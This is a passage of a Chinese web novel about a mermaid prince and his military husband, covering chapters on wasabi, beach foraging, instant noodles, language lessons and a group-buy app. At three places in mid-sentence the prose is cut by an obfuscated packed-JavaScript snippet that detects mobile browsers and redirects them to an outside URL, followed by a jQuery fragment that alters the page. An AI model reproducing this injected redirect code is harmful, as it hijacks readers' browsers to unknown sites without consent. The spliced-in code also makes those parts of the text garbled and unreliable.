人不能共情以前的自己,鱼也不行。 叶鲤直到被傅寂洲捞着摸了个遍,还在百思不得其解: 他成年后不怕痒啦? 傅寂洲动作不停,不知道按压到了哪个部位,叶鲤觉得尾巴一痛,不安分的动弹。 蓝色水面遮住了尾巴,但叶鲤随着傅寂洲的手指按压,能清晰感受到尾巴中间有一处明显的缺陷,原本密实的鳞片稀疏的分布在伤口处,最深处的骨骼隐隐作痛。 傅寂洲动作慢了些:“还很疼吗?” 叶鲤的伤是五年前海盗入侵时留下的,当时没有及时医治,到现在还没有完全长好。 这次失忆住院期间,傅寂洲还专门留心他的尾巴,单独让医院扫描了尾巴的详细影像,开了七八盒营养康复冲剂。 叶鲤感受到傅寂洲的手小心翼翼地抚过他的陈年旧伤,力道轻的像是在对待什么旷世珍宝。 他没有忽略掉傅寂洲眼中一闪而过的心疼。 其实不痛了,也记不清了。 但叶鲤忽然觉得,他们的感情可能不只是自己的死缠烂打,可能傅寂洲也很喜欢他。 —— 叶鲤被傅寂洲左左右右上上下下揉搓,把他搓的由红变白,才顶着一身热气从浴室出来。 头鱼已经被一个带着高高的白色帽子的男人剔了鱼骨,做成了美味的刺身。 叶鲤:^^ 人类是善良的小人,总能把食物做出很多种好吃的味道。 傅寂洲通讯响了,他走去接电话,却又折返回来捏了把叶鲤的腮帮子,提醒他慢些吃。 叶鲤比了一个标准的“OK”手势,往嘴里炫了一大口鱼肉。 旁边有料汁小碟子,里面绿色酱料闻着有点呛,叶鲤没见过。 不知道好不好吃。 叶鲤咽下嘴里的食物,盯着看了看,挖了一坨放在鱼肉上,新奇的舔了一口。 叶鲤:救——!!! 等傅寂洲挂断通讯走过来的时候,叶鲤已经涕泗横流,泪眼汪汪地控诉:“傅寂洲,我的舌头,舌头被人揍了!” 傅寂洲脸色微变:“你吃什么了?” 叶鲤含着两眼泪指了指桌子上的芥末。 傅寂洲深深吸气,给叶鲤倒了一杯纯净水:“压一压,待会就不呛了。” 叶鲤嘶哈嘶哈的喝完了一整杯水。 人类真是一群歹毒的小人,竟然把毒药放在桌子上,差一点点他就被锁喉了! 人类是善良还是歹毒,全靠叶鲤小王子吃的开心与否。 叶鲤含着泪把一整条头鱼炫完,没再敢加一丁点酱料。 傅寂洲坐在一旁拿着手机盯着,随时准备和院长打电话。 叶鲤上岸后,很多人类的食物不能适应,咽下去就立刻过敏。 像芥末香菜这种刺鼻的,叶鲤基本不会尝第二次,就算是过敏源也不用担心;一旦味道不错,傅寂洲就要对叶鲤千防万防。 不过好在这次没有过敏,叶鲤不知道自己差点又进一次医院,皱着鼻子吐槽:“这种东西就应该用在战场上,给海盗塞鼻孔里。” 傅寂洲:“……” 说起来过敏,傅寂洲眉梢一挑,在手机上调出叶鲤最爱喝的奶茶图片指给他看:“这个,也是辣的,不能喝。” 那是一杯颜色暗沉,里面还有不知名黑球球的东西,叶鲤皱眉:“我在路边见到好多人喝这个。” 原来这么多人都喜欢被呛的流眼泪吗? 人类是不是有病? 叶鲤的表情永远都写在脸上,傅寂洲立刻否认:“我不喜欢喝。” 叶鲤松了口气,还好还好。否则下次傅寂洲再让自己亲他,他就得掂量一下了。 —— 傅寂洲有公务在身,拿了笔记本进行线上会议。 几百平的观景房,他偏偏坐在了叶鲤旁边,一抬眼就能看到沙发上的人鱼。 叶鲤平躺着,高高举起手机研究微信。 傅寂洲说眼睛离手机近的话会疼,他努力伸了伸胳膊,把屏幕离得远了些。 虽然不爱学习,但是叶鲤的探索欲很强,任何设备到了他手里,他都能玩透彻。 叮咚一声,一个看不懂昵称的头像弹出了消息。 【何伦:叶鲤,你还好吗?那天是不是傅寂洲威胁了你,所以你才不说话?】 叶鲤眼睛看到的:##¥&*&&*%¥%@#%@……傅寂洲。 他往上翻了翻聊天记录,这个人每次找他聊天都有“傅寂洲”三个字,总是发长长的一段文字。 然后叶鲤这边每次都回复一朵玫瑰花。 嘶……叶鲤看不懂这是什么新型聊天方式,只好稳妥的又给何伦发过去一枚玫瑰花。 随后他点击返回,手指不知道点进了哪里,屏幕里唰的弹出来了一个小小人类。 “哈喽宝子们大家好!今天我们来揭示最新吃播流量密码……” 说着,小人拿出了一条看似腐烂实际上也很腐烂的鱼。 叶鲤两条眉毛嫌弃的皱了起来。 这鱼看着都糟了…… 就连鱼刺都碎碎的,叶鲤不敢想这条烂鱼有多味儿。 还好手机不能共享嗅觉,不然他高低得找个鼻塞。 平常也没人拦着他们打猎,甚至人鱼在海底看到渔民捕猎还会好心避开,毕竟谁填饱肚子都不容易。 人类把自己养的这么差,不敢想不敢想! 叶鲤赶忙划走了。 或许是他在第一个视频界面停留了一会,万恶的大数据开始发力,一条接着一条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156172|180567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给他推送吃播。 要么是深渊大口三秒给鸡翅膀脱骨,要么是一口一个鱼肥油,叶鲤第一次这么抗拒手机,一脸菜色的熄屏把手机扔远了。 傅寂洲敲键盘的手顿住:“怎么了?” 叶鲤摇了摇脑袋,沉默了片刻后:“呕——” 傅寂洲暂停了会议,声音紧张:“是不是吃芥末不舒服?” 叶鲤深深吸气,揪着傅寂洲的衣领:“你以后不许吃芥末,也不许吃鱼肥油,否则我绝对不亲你!买钻石也不给亲!” 傅寂洲:“……” 这是又受到了什么刺激。 “好,不吃。”他安抚道。 他这辈子只吃叶鲤这一条小鱼。 “咳,老大,你们在聊什么呢?” 傅寂洲一转头,七双眼睛齐刷刷挤在摄像头里,十四个眼睛放着精光。 听不懂老大在和人鱼小王子聊什么,但是两人说着说着就贴在了一起,看着那叫一个黏糊。 “关你们什么事,刚才我说的都记住了?”傅寂洲语气一沉。 一群人刷的散开了。 叶鲤是真怕了自己手机里的视频,急需找点事情转移注意力。 正好傅寂洲要工作,于是叶鲤极其自然的从傅寂洲口袋里摸出他的手机,自己解锁了玩。 视频会议里的几个人一致发出哦哦哦的怪叫。 傅寂洲无奈的摸摸人鱼的脑袋,起身坐在电脑前继续开会,身影正好遮住了镜头里的人鱼。 他家人鱼,只能他一个人看。 对面那几个人顿时又发出几声叹息。 傅寂洲嘴角微抽:“你们退伍后去演相声,绝对能二次就业。” 几个人摸着后脑勺嘿嘿笑:“别,还是跟着老大当兵爽,没事儿了还能杀几个海盗过过手瘾。” 西联盟倒台后海盗肆虐,这群海盗的首领是狂热的人鱼爱好者,以欺凌人鱼为乐,还试图攻占东联盟。这些年两个联盟的交界地带战火频繁,傅寂洲带的部队永远守在一线,像东联盟屹立不倒的定海神针,守卫联盟和平。 最近几个月海盗没什么大动静,大家久违的说笑着,傅寂洲勾了勾唇,难得安静的听了几句。 末了,他补充道:“都老大不小了,该退伍退伍,该结婚结婚,整天打打杀杀算什么。” “不过找到真爱也不容易,毕竟不是人人都能和我一样幸运,”傅寂洲靠着椅背,仗着家里的鱼听不懂人话,哼笑道,“我家这位,又会心疼人又黏人,省心的很。” 自从老大结婚后就像是抽风了一样,时不时秀一波恩爱,众人都快免疫了,都知道老大家庭幸福美满,人鱼没他不行。 闻言众人捧场道:“羡慕羡慕,老大你什么时候带小王子来部队,咱们吃个饭?” 傅寂洲立马拒绝:“那不行,他吃饭精细,部队伙食他受不住。” “哥带着他的饭呗,关键是见见面聚一聚,结婚那日全是领导干部,我们都没敢往前凑。” “当时叶哥看着挺凶,连老大都不多搭理,谁敢过去搭话!” “老大说了三年,也没见小王子同意吧?” 傅寂洲睁眼说瞎话:“他只是看着凶,平常很亲人……叶鲤早就撒娇要去部队看看我工作的地方,是我觉得影响工作,不太妥。” “真假?老大家庭地位挺高啊,说一不二,”几个人互相咬耳朵,啧啧称赞,“老大牛掰,威武!” 傅寂洲今天心情好,正准备再说几句,安静空旷的房间忽然传来清晰的科普声—— “婚姻如何经营?老婆怎样才能听话?关键是背男德经。这条视频三分钟带你速通男德经前三十条!您也可以点击视频下方链接,0.01元带走高清PDF版婚姻经营手册,或评论区留言……” 傅寂洲猛地关闭了麦克风。 “叶鲤,”他转头咳了一声,“把手机声音调小一点。” “哦,好的。”叶鲤乖乖的扣了扣音量键,声音顿时大了起来。 “男人不自爱,就像烂白菜!男人爱撒谎,追妻火葬场!” 傅寂洲:……男德经又更新了? 8. 赶海 第二天天气晴了些,沙滩暂时开放,叶鲤在傅寂洲旁边哼哼了很久,才终于获得了两个小时的海上畅玩时间。 傅寂洲不放心的让保镖跟着他,还企图给叶鲤绑上防走丢绳。 “绳子是你喜欢的彩色,带上看看?”傅寂洲又开始循循善诱。 叶鲤沉着小脸,看着一旁吐着舌头没心没肺的哈士奇和他的主人,又看了看自己和傅寂洲,干脆拒绝:“不。” 傅寂洲遗憾作罢。 这可是他刷小绿书刷了一晚上才想到的好办法——老婆防走丢神器。 他总害怕叶鲤单薄的身躯被海浪冲走,顺势就摆摆尾巴不要他了。 叶鲤没错过傅寂洲眼中的低落,他真的很想大喊自己是条鱼,但是一想到自己失忆就是在海里出了事故,他就没底气了。 叶鲤伸出白皙的手腕,勉为其难:“带个手环吧。” 对面的男人飞快把那只丑丑的黑色手环套在了他的胳膊上。 叶鲤:“……” 他觉得自己被服从性测试了。 “我想要那个粉蓝相间的,我昨天给你看了图片的,”叶鲤说,“那个好看。” 那款是儿童版小天才电话手表,叶鲤再瘦也戴不上去,加急定制成人款用需要两天时间。 傅寂洲叹气:“行,你等等,我给工厂打电话。” 人鱼的审美总是多变,之前还喜欢成熟款的黑色手机平板,失忆后就总想要五彩的。傅寂洲觉得自己对叶鲤的探索任重道远。 叶鲤满意了,欢快的对傅寂洲摆摆尾巴潜进了海里。 对于人鱼这种高阶生物来说,海中的大部分生物都是他们的盘中餐。 叶鲤下海就摸了两三个扇贝,开盖即食。 又捉了一只小臂长的大螃蟹,游一段路就掰一根蟹腿啃,就这样一路啃着游到了海底。 叶鲤腮帮子鼓鼓的,刚把最后一口蟹黄咽下去,就瞧见了一条浪人鲹。 这种鱼牛气的很,还能窜到海面猎捕燕鸥,叶鲤小时候被浪人鲹啃过好几次,至今胳膊上还有一个小坑。 小叶鲤见到浪人鲹只能哇哇大叫着躲开,但现在叶鲤长大了,一定会让浪人鲹见识见识大海为何这样蓝。 这条浪人鲹目测有个二三十斤,不算很大,叶鲤扯了根海带把长发扎牢了,悄无声息地绕到了浪人鲹身后。 如果找个棍子叉鱼的话会更方便,叶鲤往扫了一圈海底,只看到了几个塑料瓶。 只能用手了。 海底风平浪静,叶鲤一错不错的盯着浪人鲹,下一秒,猛地加速上前,噌的握住了这只肥鱼的身体,右手干脆的插入鳃盖、扣住鳃弓,一把折断了他的鱼鳃。 浪人鲹剧烈的挣扎了起来,叶鲤扣紧了鱼鳃,另一只手梆梆给了鱼头几拳,几秒钟后,它动作慢下来,伸直尾巴不动了。 深红色血水从折断鱼鳃的腮部蔓延,叶鲤闻见了胜利的味道。 叶鲤斯哈了一声,浪人鲹肉质劲道,味道清甜,好吃美味! 这条鱼正好够今天的午饭,叶鲤正准备张嘴开动的时候,忽然瞥见了腕子上的黑色手环,合上了嘴巴。 唔,他现在是有家庭的人了,不能只顾着填饱自己的肚子,还要担负起投喂傅寂洲的任务。 叶鲤咽了咽口水,拖着浪人鲹上岸。 肚子咕噜一声抗议起来,叶鲤顺手捞过身旁没来得及跑的小丑鱼塞嘴里,嚼吧嚼吧咽下。 太小了没啥味儿,只能当零食吃。 叶鲤摸摸肚子自己哄自己:“没关系,傅寂洲吃不了太多,只让他尝尝味儿就好啦。” 叶鲤顺利破开海面,眉毛眼睛湿淋淋的,刚露头就被傅寂洲锁定了,叶鲤看到椰树下的男人很轻的勾了勾唇。 大胆,竟然敢笑本王子,这鱼罚你只能吃一口! 叶鲤没法像昨天一样把鱼举起来给傅寂洲看,这鱼有点超重,他想对旁边的保镖挥手,让他们帮忙拿一下,但又想到他们听不懂,遂作罢。 傅寂洲来的很快,他蹚着海水把叶鲤手中的猎物拿走,顺势单膝跪地,把叶鲤脑后系的乱七八糟的海带头绳取下,轻声赞道, “这么大的鱼啊,好厉害。” 捕鱼而已,还值得夸夸吗,叶鲤扭捏了一瞬, 随即很牛气的抬头:“那当然,我就是这么厉害。” 傅寂洲又勾唇笑了一下,这是完全放松的,只属于叶鲤的笑。 傅寂洲眼型锋利,平常面无表情时像他哥一样,带着上位者的严肃,以至于让人忽视了他其实非常好看。 叶鲤对长得好看的人完全没有把控力,海水下蓝色的尾巴甩了甩,叶鲤脱口而出:“这条鱼全给你吃。” 人鱼的喜欢就是这么朴实无华。 傅寂洲笑着去拉他的手:“好,你先上岸。” 岸上海风一吹,把叶鲤脑子里的水吹跑了,刚刚被美色迷惑的眼神瞬间清醒了过来: 美色误鱼!全给傅寂洲吃,那他吃什么?! 叶鲤本来被傅寂洲拦腰抱的好好的,马上就要远离海面,他一弹尾巴挣扎了起来:“等一下!” “嗯?” “两个小时还不到吧,我再去摸两个海胆给你吃。” 说罢,呲溜一下敏捷的从傅寂洲身上下来,又钻进了海底。 大话说早了,他得再回去赶个海。 顺便给傅寂洲开几个肥肥的海胆填饱他肚子,说不定能从他嘴里救下一口浪人鲹肉。 半小时后,叶鲤扛着满满一袋子海胆重返岸边。 傅寂洲惊讶道:“怎么带回来这么多?都给我吃? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156173|180567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 叶鲤严肃的嗯了一声:“必须吃完哦。” “那个鱼吃不完没关系,我会帮你解决的。”叶鲤飞快补充道。 —— 傅寂洲推着叶鲤的轮椅走在前面,几个保镖抱着鱼和一袋子海胆跟在后面。 远处有一对新人正在求婚,观众的欢呼声此起彼伏,五彩的气球和礼花筒喷出的彩带映亮了鱼的眼睛。 他扯了扯傅寂洲的袖子:“我们去看看嘛?” 傅寂洲不爱凑热闹,但看到那对新人摸着钻戒一脸激动的神情,不知想起了什么,还是转了个弯走了过去。 担心人鱼出现会影响新郎接下来的告白,傅寂洲和叶鲤停在不远处的椰子树下,静静看着。 “亲爱的,从见到你的那刻起,我就决定一辈子非你不可。我知道结婚的意义很重,但如果这辈子能和你组建一个家庭,我希望是你……” 很经典老套的求婚语句,男人因为紧张背诵的磕磕巴巴,但对面的女孩还是捂着嘴留下了眼泪。 “我爱你。”男人终于背完了冗长的求婚词,抬起头哽咽地说道。 傅寂洲想起来三年前他的婚礼上,他也怀着如此忐忑的爱慕之情,近乎虔诚的对叶鲤说:“我爱你。” 不过叶鲤高冷的看了他一会,淡淡的嗯了一声后转头离开了。 当时他站在原地愣了很久,再也没有说过这句话。 后来他知道叶鲤只是听不懂中文,他想着学了人鱼语后,再告诉叶鲤一遍,却始终没有开口。 他没有足够的勇气去等待叶鲤的回应,也不想听到叶鲤的拒绝。 只能自欺欺人的把自己幻想的婚后生活描绘出来,骗取叶鲤的爱意。 观众情绪高涨,一个劲的大喊:“在一起!在一起!” 叶鲤懵懂的看着,继续拉傅寂洲的袖子:“他们在举行什么仪式吗?” 傅寂洲转过身,他身后是欢呼雀跃的大笑,耀眼五彩的礼花炮砰砰炸开,洒落在新娘头上。 新娘说:“我也爱你。” 傅寂洲的声音和新娘的声音重叠,他柔和的注视着叶鲤:“他们要结婚了,和我们一样。” “哇!希望他们幸福快乐。”叶鲤笑眯眯的祝福这对新人。 语言不通的叶鲤在这片大陆上格格不入,他能看得到所有人笑,却不知道他们在为什么欢乐。好像一摆尾巴就能随时抽身。 傅寂洲之前一直逼着叶鲤学习,后来他放弃了,他觉得自己学会人鱼语也是一样的。 但是他永远不安,永远害怕,永远夜不能寐。 傅寂洲又看了叶鲤很久,最后蹲在一无所知的人鱼面前说道:“叶鲤,从明天开始,我教你汉语吧。” 和这片大陆的联系再深一些,就不会再轻易离开他了。 9. PDD 最后半袋子海胆和一整条浪人鲹全进了叶鲤的肚子。 叶鲤满足的瘫在沙发上,傅寂洲给他揉着肚子。 不小心吃开胃了,现在撑的动不了,叶鲤蛮不好意思的对傅寂洲笑了笑。 “你真的吃饱了吗?你吃的好少。” 傅寂洲面不改色的撒谎:“嗯,饱了。” 这么高这么壮的人类竟然吃这么少,叶鲤觉得不可思议。 半个小时后,叶鲤瘫在浴缸里玩消消乐,忽然闻到了一股很奇妙的香味。 他探头往外面一看,傅寂洲在落地窗前语气淡淡的通着电话,饭桌前有一桶不知名的东西持续飘香。 叶鲤操纵着轮椅走到饭桌前,掀开了桶上压着的盖子。 里面是弯弯曲曲的线条,有点像人类吃的面条。 掀开盖子后香气更浓烈了,叶鲤的口水开始分泌。 傅寂洲不是说他吃的很撑吗?这么一大碗他肯定吃不完。 叶鲤看了看依旧头也不回沟通工作的傅寂洲,很有礼貌的没去打扰他,自己拿起盖子,叉了几根面条放在盖子上吃。 这样的话,等傅寂洲回来,也不会吃到他的口水和剩饭。 鱼,你果然很聪明! 叶鲤高高兴兴地给自己竖了个大拇指,低头品尝盖子上的面条。 面条温度对于人鱼来说有点烫了,第一根面条在叶鲤嘴里慌乱的炒了炒,囫囵咽了下去。 嘶—— 叶鲤伸手对着嘴巴扇了扇风。 等他缓过神来,舌头才开始剧烈的向脑袋诉说这根面条的鲜香。 好吃!比浪人鲹还要美味! 叶鲤珍重的把剩下的面条呼呼吹凉了,全炫进了嘴巴里。 傅寂洲觉得身后的泡面味道越来越香,越来越浓烈,他只以为自己饿了。 他是真没吃饱。 叶鲤脸上藏不住事,明明自己很想吃鱼肉,还矜持的让傅寂洲先动筷。 ……真可爱。 傅寂洲一个没忍住,把所有的鱼肉都投喂给了叶鲤。 他幼时在孤儿院长大,吃馒头和米饭居多,从来没有品尝过高级海鲜。 导致他到现在也没法把这些生鱼肉当饭吃,只好趁着叶鲤去浴室泡澡,他火速吃桶泡面对付一口。 身后窸窸窣窣的声音大了起来,电话里的工作交代完毕。 傅寂洲猛地回头:不对! 他家鱼出来了! 傅寂洲转头就看见叶鲤捧着个泡面盒子,嘴角还沾着红油,把最后一根面条吸溜进嘴里,乖乖冲他笑了笑。 男人深深吸气,一时不知道该伸手掐谁的人中。 叶鲤平常吃的所有食材全是从渔场当天打捞空运回来的皇家海鲜料理,他从来没让叶鲤吃过任何除了鲜鱼以外的食物,更别提不健康的泡面了! “我刚刚只吃了一点点,筷子是新的,这碗里也不是我吃剩下的。”叶鲤头一次见傅寂洲沉下脸,收了脸上的笑,小声开口。 他好像惹大款生气了。 傅寂洲面色难看的把叶鲤手中的泡面盖子扔在桌子上,抓着叶鲤的手腕就往外走:“走,去洗胃。” “啊?”叶鲤懵了,“为什么要洗胃?” 傅寂洲这么生气吗,竟然口头道歉不管用,还非要他把食物吐出来! “你不能吃这些垃圾食品。”傅寂洲神情严肃。 叶鲤被傅寂洲推着轮椅走的飞快,他张了张嘴,想问那为什么傅寂洲能吃他不能吃。 傅寂洲飞快拨通了东联盟第一人民医院院长的电话:“叶鲤吃了泡面,大概是成人一口的量,没喝汤。现在还没有过敏反应,我们现在在珊瑚湾,最近的医院离这里有十分钟的路程,他能撑得住吗?” 院长被吓了一跳,反应了两秒才反应过来是泡面:“过期方便面吗?” 傅寂洲青筋迸起:“不是。” 幸好不是,否则他现在更慌。 “那就没事,”院长放心的坐了回去,“上将这是关心则乱,人鱼的肠胃没那么脆弱。” 傅寂洲皱了皱眉,明显不信。 院长翻出来上个月的研究报告,给傅寂洲下一剂猛药:“人鱼也是杂食性生物,不只能吃海鲜,上将啊,您太精细喂养也不行,荤素搭配才是最适合人鱼的进食办法。” 傅寂洲的脚步慢了下来。 “是吗。”他慢慢皱眉,看着叶鲤嘴上没擦干净的红油,有点不相信。 明明他家的鱼喝几口奶茶就会过敏,山药菠菜吃完皮肤上就起红疹,再精细也不为过的。 “真的,请您相信我,上将。” 傅寂洲彻底停下脚步,勉强相信了专家的话。 叶鲤听不懂他在叽里呱啦什么,只是很难过自己要吐出来那些好吃的面条,也有点难过傅寂洲这么护食。 外面的日头火辣辣的,他沮丧的把手掌放在脑袋上遮阳,隔绝了傅寂洲的视线。 头顶,傅寂洲打电话的声音停了,叶鲤感受到傅寂洲在拉他的手。 没拉动,随后那双手掌托起叶鲤的脑袋,执拗地和他对视。 “我把你弄不开心了,”傅寂洲观察他的神情,叹气道,“我很抱歉,叶鲤,我太担心你了。” 叶鲤被傅寂洲抱回房间,他静静的听着傅寂洲的解释,越听越忍不住皱眉。 原来傅寂洲不是因为护食才生气,而是因为怕他吃了面条死掉。 可是他们是人鱼,能吃的东西海了去了。 “就是越过敏越要吃,吃不死才会使我们更强大!”叶鲤忍不住纠正傅寂洲的错误观念。 傅寂洲一噎:“……不行,有些东西吃了真的会死。” “不会的不会的,我小时候吃完海带就浑身痒,后来我哥逼我吃了一个月,我就好了,”叶鲤试图把人鱼知识灌输在傅寂洲脑子里,“我们人鱼就是这个样子,过敏就是证明吃的太少,多吃几次就没事了。” 叶鲤一本正经,傅寂洲一头雾水。 这种观念对于人类来说是大错特错的,但是叶鲤的表情太过认真,傅寂洲只能选择相信。 “那……”傅寂洲把泡面往他身边推了推,“你还要继续吃吗?” 叶鲤盯着傅寂洲复杂的视线,唏哩呼噜把一桶面吃了个干净,一口汤都没留。 什么事情都没发生,除了太撑。 傅寂洲:“……” 所以他这三年严防死守,生怕叶鲤吃错一口东西,是白费力气? 叶鲤打着嗝问道:“我失忆前没有告诉你吗?” 傅寂洲想起来之前叶鲤吵着要吃,但自己坚决不让的那些日子,悄无声息地破防了片刻。 但某些人是坚决不会承认自己那些失败的饲鱼经历,他面无表情地看着窗外:“当然告诉过,我不过是刚刚太心急了。” —— 强潮汐流不仅带来了丰富的鱼群,还带来了雷阵雨。 落地窗外雨水蜿蜒留下,乌云低垂遮住悬日,天空很早就暗了下来。 傅寂洲打开了壁灯。 柔光照着叶鲤的鱼尾,鳞片闪烁着细碎的光泽。 叶鲤坐在了傅寂洲给他专门定制的课桌旁,握着笔杆写aoeiuv。 一向没事可干,只管吃吃喝喝的叶鲤彻底结束了自己安逸的日子。 傅寂洲真的开始教他汉语。 “等你学会汉语,我就给你请一位鉴定真假珠宝的老师,这样你就能更好的买大钻戒了。”傅寂洲每日一次循循善诱。 叶鲤抱着脑袋,不情不愿的把拼音默写了一遍。 “好吧,那我学一点。” 学习没有耍手机快乐,他郁闷的看着傅寂洲给他安排的每日计划表,心想这和他想的不一样。 也没鱼告诉他上岸后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156174|180567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还得学习啊! 自此以后,叶鲤每晚做梦都不再是山珍海味,全是傅寂洲教他背书的身影。 那天傅寂洲刚刚睡着,就被叶鲤晃醒了。 “我做了一个噩梦。”叶鲤有些蔫吧,像是菜市场放了大半天的不新鲜的咸鱼。 “梦见什么了?” “梦见你做了一大桌子菜,全是好吃的,然后你不让我吃,非要我先背书再吃饭。”叶鲤说着说着就觉得很委屈。 傅寂洲:“……” “竟然不让我吃饭!太过分了!”叶鲤说着说着就来气了。 傅寂洲:“…………” 不是,这好像真的是他干过的事。 那时候他告诉叶鲤,先背书,什么时候背完什么时候吃,是为了让他快点学,原来当时叶鲤是这样理解的? 傅寂洲嘴角微抽,拍着叶鲤的背安抚道:“梦都是假的,我一定不会这样干的。” 他下次再也不敢这样干了。 —— 傅寂洲陪叶鲤在珊瑚湾待了三天,就带着他回了东联盟A区。 这里是他和叶鲤婚后生活了三年的地方。 和其他独栋别墅不同的是,他们这栋后面有一个巨大的泳池,泳池池底时常沉着炫丽的彩色宝石。 那是叶鲤的地盘。 A区离大海有一段距离,为了让人鱼时刻留在他的身边,傅寂洲亲自画了图纸,精心为人鱼打造了一个华丽的泳池。 虽然傅寂洲已经决定了要调任到其他区,但是接下来还有许多零碎的事情等着他抉择。不过无论多忙,他都准时准点的回家,耐心的教叶鲤念书识字,紧张的盯着叶鲤吃一些人类食物,安心的抱着叶鲤小憩。 学习一门新的语言不容易,不过叶鲤慢慢的适应了这样的生活,因为他发现识字后干什么都非常的方便。 能看懂汉字后,叶鲤购物的频率又增加了。 再冷漠无情的鱼看到人类那些“清仓甩卖”“三单八折”的手段,也会露出笑容。 这天傅寂洲下班回来,就看到客厅里叶鲤举着手机兴冲冲的发语音:“谢谢谢谢,麻烦你们啦!” 又跟谁聊天呢。 傅寂洲有些酸,他下班后在叶鲤身边晃悠这么久,叶鲤也没找他说一句话。 倒是和手机上的人聊的热火朝天。 傅寂洲借着拿水杯的功夫,超绝不经意走到叶鲤旁边,扫了一眼对方的头像和备注。 是叶尘。 是哪条成天被喊“胖胖”的胖头鱼。傅寂洲眉梢挑高了点,放心的去接了杯水。 “还是兑换不出来,你再帮我找十条鱼砍一刀,”叶鲤退回PDD界面,摸着下巴琢磨,“应该用不了十条鱼,PDD说了我是最幸运的人……鱼,这把稳了。” 十分钟后。 “究竟怎么回事!还需要十个鱼!” “要不算了吧,这个是不是在坑鱼啊?”胖胖手中拿了十来个族人的手机,累的一屁.股坐在石头上不动了。 一夜之间,人鱼族几乎所有族人的手机上都多了一个叫PDD的软件。 “……”叶鲤没有吭声。 他在纠结,现在半途而废也太不值当了。 “再来十条鱼,如果还不行,咳,那就再说。” 又十分钟过去了。 叶鲤火冒三丈的把手机摔在了桌子上。 傅寂洲诧异的看过来:“怎么了,谁惹你不开心了?” 叶鲤拉着傅寂洲的手,把PDD界面指给他看,顿时悲从中来:“砍不动,一直砍不动。” 砍的东西也不是什么贵重东西,就是一部手机,傅寂洲闭着眼就能给叶鲤买下来。 不过他知道意义不一样。 傅寂洲沉默的抽了抽嘴角,片刻后,他把砍一刀链接发到了部队群里。 【帮忙砍一刀,你们嫂子要用。】 10. 家庭地位 自从上次吃完泡面后,叶鲤的食谱丰盛了很多。 他下单了各种品牌的泡面、拌面、米线,并无师自通,学会了在泡面碗底给自己卧个蛋。 以至于这段时间傅寂洲每天下班回家,闻到的饭香永远不重样,但全是一股速食味儿。 长期吃这些东西身体会缺乏营养,傅寂洲看不惯叶鲤一日三餐抱着泡面桶吸溜,提议叶鲤减少泡面进食,最好一天只吃一次。 叶鲤没答应也没拒绝,隔天叶鲤起床,看着满满一桌海鲜料理,熟练的泡了一桶泡面。 把鱼肉片搁进去焖几分钟,再把碗底的鸡蛋翻上来,最后又扯了两根绿叶点缀,色彩丰富,香气扑鼻,乍一看卖相堪比米其林餐厅。 当王子真是耽搁了他的大厨生涯,叶鲤不禁摇头感慨。 他给正在上班、没有来得及赶回来吃午饭的傅寂洲拍照发了过去,配文:够有营养吗? 为了避免傅寂洲挑错,叶鲤还专门打的汉字,堪称无懈可击。 傅寂洲:“……” 他第一次从几个汉字身上看到了挑衅。 傅寂洲看着聊天界面无奈扶额,他确实是想让叶鲤适应大陆生活,但叶鲤适应的也太快了些。 快到他自己都有点不适应了。 —— 别墅外的人工水池修的很大,池底沉的是叶鲤失忆前扔进去的宝石们。 流光溢彩的宝石们被失忆的主人又爱了一次。 叶鲤花费半天时间把角角落落里的宝石全部打捞上来,按照大小给他们排成一排,随后欣赏宝石在阳光下闪耀的火彩。 一声微弱的叫声响起,叶鲤抬头向栅栏外看去,一只有种竖耳朵的生物左眼受了伤,趴在别墅栅栏外有力无气的叫唤。 它需要清理伤口,更需要食物。 叶鲤丢下一排流光溢彩的宝石,匆匆出门准备把小动物带回家里。 他伸手推了一把大门,大门纹丝不动。 叶鲤:? 他和傅寂洲出门时,见到傅寂洲很轻松就把大门推开了。 他力气不比傅寂洲小啊。 手机铃声适时响起,叶鲤接通电话,傅寂洲的声音传来: “我还有一个小时到家,晚上有想吃的吗,给你顺路带回来。” 叶鲤摇了摇头:“没有想吃的。傅寂洲,我怎么打不开大门呢?” “嗯?最近下雨生锈了?”傅寂洲的声音再正常不过,“出门干什么,快递都已经给你取回来放在客厅了。” “外面有一只受伤的小动物,它受伤了。”那只毛茸茸还在喵喵叫,叶鲤伸长脖子确认它还没走,放了一半的心。 “这样,你在家等一会,我来找人解决。” 片刻后,几个保镖围着大门捣鼓了一会,开了门把那只毛茸茸的动物放进来。 家庭医生匆匆赶来,给它包扎了伤口,打了一支营养药剂。 毛茸茸有力无气的喵了一声,叶鲤顾不上看它,越过医生向大门口处歪头看了一会。 这些保镖是傅寂洲身边经常露脸的没错,但是…… 